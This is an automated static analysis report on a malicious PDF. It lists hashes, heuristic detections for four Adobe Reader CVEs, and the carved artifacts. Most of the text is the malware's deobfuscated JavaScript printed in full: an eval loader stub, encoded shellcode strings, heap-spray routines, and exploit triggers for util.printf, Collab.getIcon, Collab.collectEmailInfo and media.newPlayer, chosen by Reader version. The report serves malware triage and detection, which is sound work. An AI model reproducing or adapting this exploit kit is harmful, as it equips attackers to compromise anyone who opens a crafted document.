Malicious PDF — malware analysis report

Static analysis result for SHA-256 f9f6eae381363256…

MALICIOUS

PDF

5.1 KB First seen: 2013-08-29
MD5: b9e12c9b63019f99d639cd37ce4ab031 SHA-1: 76cea87bdc3a3184b786aa75764b5b84dee17734 SHA-256: f9f6eae3813632568fcf04449254c5e0a489cadc952ec72fb41c8a26dfdd0490
468 Risk Score

Malware Insights

The PDF file was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to exploit PDF reader vulnerabilities or to download and execute further malicious content. No specific IOCs were extracted, but the presence of JavaScript is a strong indicator of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x116E 93 bytes
SHA-256: 61b46047f90b888a00e497def64b956f6da2cb6e69e8905a21e0ba446aa10cd0
Preview script
First 1,000 lines of the extracted script
m1=this.info.gkds;m2=m1.replace(/zzzzz/g,"");m3=this.info.gggsd+"al";        app[m3](m2);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 8386 bytes
SHA-256: b6f5c1d2994488c0293e33c41707b51a0176bc7f5eb343aee4226b4e4d92e107
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hddd(fff)
{
   return fff.split("**").join("%"+"u");
}
shcode_geticon = hddd("**11EB**4B5B**C933**8166**AFC9**8001**0B34**E2A6**EBFA**E805**FFEA**FFFF**7C4F**A6A6**F9A6**07C2**A696**A6A6**E62D**2DAA**BAD6**2D0B**AECE**D62D**2D86**26A6**CD98**55D3**E0E0**9826**D3C3**E04A**26E0**D498**51D3**E0E0**9826**D3C8**2D56**CC51**FFA5**FD4E**A6A6**44A6**CE5F**C8C9**A6A6**D3CE**CAD4**F2CB**B059**4E2D**E34E**A6A6**CEA6**95CA**A694**D5CE**C3CE**F2CA**B059**4E2D**974E**A6A6**25A6**E64A**7A2D**CCF5**59E6**A2F0**A261**C7A5**C388**C0DE**E261**A2A5**A6C3**6695**F6F6**F1F5**59F6**AAF0**7A2D**F6F6**F5F6**F6F6**F059**59B6**AEF0**F0F7**D32D**2D9A**88D2**A5DE**F053**D02D**A586**9553**EF6F**0BE7**63A5**7D95**18A9**9CB6**D270**67AE**AB6D**7CA5**4DE6**9D57**D3B9**F841**F82D**A582**C07B**AA2D**2DED**BAF8**7BA5**A22D**A52D**0D63**FFF8**4E65**5987**5959**E828**4AA8**6C95**FD2C**7ED8**D544**BC90**D689**1DF8**BD47**D2CE**D6D2**899C**C489**D1CB**CFCF**CFCF**C588**88C9**C5C5**D089**CDCF**D2D4**CDD5**C089**D4C9**CBD3**D688**D6CE**C099**F69B**E0E2**8E86**C3E1**EFD2**C9C5**8FC8**CD80**DFC3**9F9B**93C4**9490**C7C0**9295**C3C5**C59F**939E**9396**C4C5**C7C3**94C4**969F**96C5**9FC5**92C0**8090**9BD3**D2C0**A6D6");
shcode_newplayer = hddd("**11EB**4B5B**C933**8166**AFC9**8001**0B34**E2A6**EBFA**E805**FFEA**FFFF**7C4F**A6A6**F9A6**07C2**A696**A6A6**E62D**2DAA**BAD6**2D0B**AECE**D62D**2D86**26A6**CD98**55D3**E0E0**9826**D3C3**E04A**26E0**D498**51D3**E0E0**9826**D3C8**2D56**CC51**FFA5**FD4E**A6A6**44A6**CE5F**C8C9**A6A6**D3CE**CAD4**F2CB**B059**4E2D**E34E**A6A6**CEA6**95CA**A694**D5CE**C3CE**F2CA**B059**4E2D**974E**A6A6**25A6**E64A**7A2D**CCF5**59E6**A2F0**A261**C7A5**C388**C0DE**E261**A2A5**A6C3**6695**F6F6**F1F5**59F6**AAF0**7A2D**F6F6**F5F6**F6F6**F059**59B6**AEF0**F0F7**D32D**2D9A**88D2**A5DE**F053**D02D**A586**9553**EF6F**0BE7**63A5**7D95**18A9**9CB6**D270**67AE**AB6D**7CA5**4DE6**9D57**D3B9**F841**F82D**A582**C07B**AA2D**2DED**BAF8**7BA5**A22D**A52D**0D63**FFF8**4E65**5987**5959**E828**4AA8**6C95**FD2C**7ED8**D544**BC90**D689**1DF8**BD47**D2CE**D6D2**899C**C489**D1CB**CFCF**CFCF**C588**88C9**C5C5**D089**CDCF**D2D4**CDD5**C089**D4C9**CBD3**D688**D6CE**C099**F69B**E0E2**8E86**C3C8**F6D1**C7CA**C3DF**8FD4**CD80**DFC3**9F9B**93C4**9490**C7C0**9295**C3C5**C59F**939E**9396**C4C5**C7C3**94C4**969F**96C5**9FC5**92C0**8090**9BD3**D2C0**A6D6");
shcode_printf = hddd("**11EB**4B5B**C933**8166**AFC9**8001**0B34**E2A6**EBFA**E805**FFEA**FFFF**7C4F**A6A6**F9A6**07C2**A696**A6A6**E62D**2DAA**BAD6**2D0B**AECE**D62D**2D86**26A6**CD98**55D3**E0E0**9826**D3C3**E04A**26E0**D498**51D3**E0E0**9826**D3C8**2D56**CC51**FFA5**FD4E**A6A6**44A6**CE5F**C8C9**A6A6**D3CE**CAD4**F2CB**B059**4E2D**E34E**A6A6**CEA6**95CA**A694**D5CE**C3CE**F2CA**B059**4E2D**974E**A6A6**25A6**E64A**7A2D**CCF5**59E6**A2F0**A261**C7A5**C388**C0DE**E261**A2A5**A6C3**6695**F6F6**F1F5**59F6**AAF0**7A2D**F6F6**F5F6**F6F6**F059**59B6**AEF0**F0F7**D32D**2D9A**88D2**A5DE**F053**D02D**A586**9553**EF6F**0BE7**63A5**7D95**18A9**9CB6**D270**67AE**AB6D**7CA5**4DE6**9D57**D3B9**F841**F82D**A582**C07B**AA2D**2DED**BAF8**7BA5**A22D**A52D**0D63**FFF8**4E65**5987**5959**E828**4AA8**6C95**FD2C**7ED8**D544**BC90**D689**1DF8**BD47**D2CE**D6D2**899C**C489**D1CB**CFCF**CFCF**C588**88C9**C5C5**D089**CDCF**D2D4**CDD5**C089**D4C9**CBD3**D688**D6CE**C099**F69B**E0E2**8E86**D4D6**C8CF**C0D2**808F**C3CD**9BDF**C49F**9093**C094**95C7**C592**9FC3**9EC5**9693**C593**C3C4**C4C7**9F94**C596**C596**C09F**9092**D380**C09B**D6D2**00A6");
shcode_collab = hddd("**11EB**4B5B**C933**8166**AFC9**8001**0B34**E2A6**EBFA**E805**FFEA**FFFF**7C4F**A6A6**F9A6**07C2**A696**A6A6**E62D**2DAA**BAD6**2D0B**AECE**D62D**2D86**26A6**CD98**55D3**E0E0**9826**D3C3**E04A**26E0**D498**51D3**E0E0**9826**D3C8**2D56**CC51**FFA5**FD4E**A6A6**44A6**CE5F**C8C9**A6A6**D3CE**CAD4**F2CB**B059**4E2D**E34E**A6A6**CEA6**95CA**A694**D5CE**C3CE**F2CA**B059**4E2D**974E**A6A6**25A6**E64A**7A2D**CCF5**59E6**A2F0**A261**C7A5**C388**C0DE**E261**A2A5**A6C3**6695**F6F6**F1F5**59F6**AAF0**7A2D**F6F6**F5F6**F6F6**F059**59B6**AEF0**F0F7**D32D**2D9A**88D2**A5DE**F053**D02D**A586**9553**EF6F**0BE7**63A5**7D95**18A9**9CB6**D270**67AE**AB6D**7CA5**4DE6**9D57**D3B9**F841**F82D**A582**C07B**AA2D**2DED**BAF8**7BA5**A22D**A52D**0D63**FFF8**4E65**5987**5959**E828**4AA8**6C95**FD2C**7ED8**D544**BC90**D689**1DF8**BD47**D2CE**D6D2**899C**C489**D1CB**CFCF**CFCF**C588**88C9**C5C5**D089**CDCF**D2D4**CDD5**C089**D4C9**CBD3**D688**D6CE**C099**F69B**E0E2**8E86**C9E5**CACA**C4C7**808F**C3CD**9BDF**C49F**9093**C094**95C7**C592**9FC3**9EC5**9693**C593**C3C4**C4C7**9F94**C596**C596**C09F**9092**D380**C09B**D6D2**00A6");

function nplayer() {
function kzbve()
{
var eobwe="p@111111111111111111111111 : yyyy111";
util.printd(eobwe, new Date());
}

var grizxw=12000;
jucobu=new Array();
var klkng = "%u9090%u9090";
var hwjnalb8=shcode_newplayer;
klkng=unescape(klkng);
hwjnalb8=unescape(hwjnalb8);

while(klkng.length <= 0x8000){klkng+=klkng;}
klkng=klkng.substr(0,0x8000 - hwjnalb8.length);
for(fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng + hwjnalb8;}
if(grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}
}

function printf() {

var payload=unescape(shcode_printf);

var nop ="";
for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload;
bigblock = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = block + heapblock;

var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
}

function geticon() {

var shellcode=unescape(shcode_geticon);

garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellcode;
nopblock = unescape("%u9090%u9090"); 
headersize = 10;
acl = headersize+garbage.length;

while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(buffer+"_N.bundle");
}

function collab() {

function fix_it(yarsp,len) {
while(yarsp.length*2<len) { yarsp+=yarsp; }
yarsp=yarsp.substring(0,len/2);
return yarsp; }
var shellcode=unescape(shcode_collab);
var mem_array=new Array();
var cc=0x0c0c0c0c;
var addr=0x400000;
var sc_len=shellcode.length*2;
var len=addr-(sc_len+0x38);
var yarsp=unescape("%u9090%u9090");
yarsp=fix_it(yarsp,len);
var count2=(cc-0x400000)/addr;
for(var count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }
var overflow=unescape("%u0c0c%u0c0c");
while(overflow.length<44952) {overflow+=overflow; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:overflow } ); 

}

aPlugins = app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for (var i=0; i < aPlugins.length; i++)
  {
    if (aPlugins[i].name=="EScript")
      {
        var lv=aPlugins[i].version;
      }
  }  
if ((lv==9)||((sv==8)&&(lv<=8.12)))
  {
    geticon();
  }
else if (lv==7.1)
  {
    printf();
  }
else if (((sv==6)||(sv==7))&&(lv<7.11))
  {
    collab();
  }
else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
  {
        nplayer();
  }

Open this report in the interactive analyzer, or submit your own file for analysis.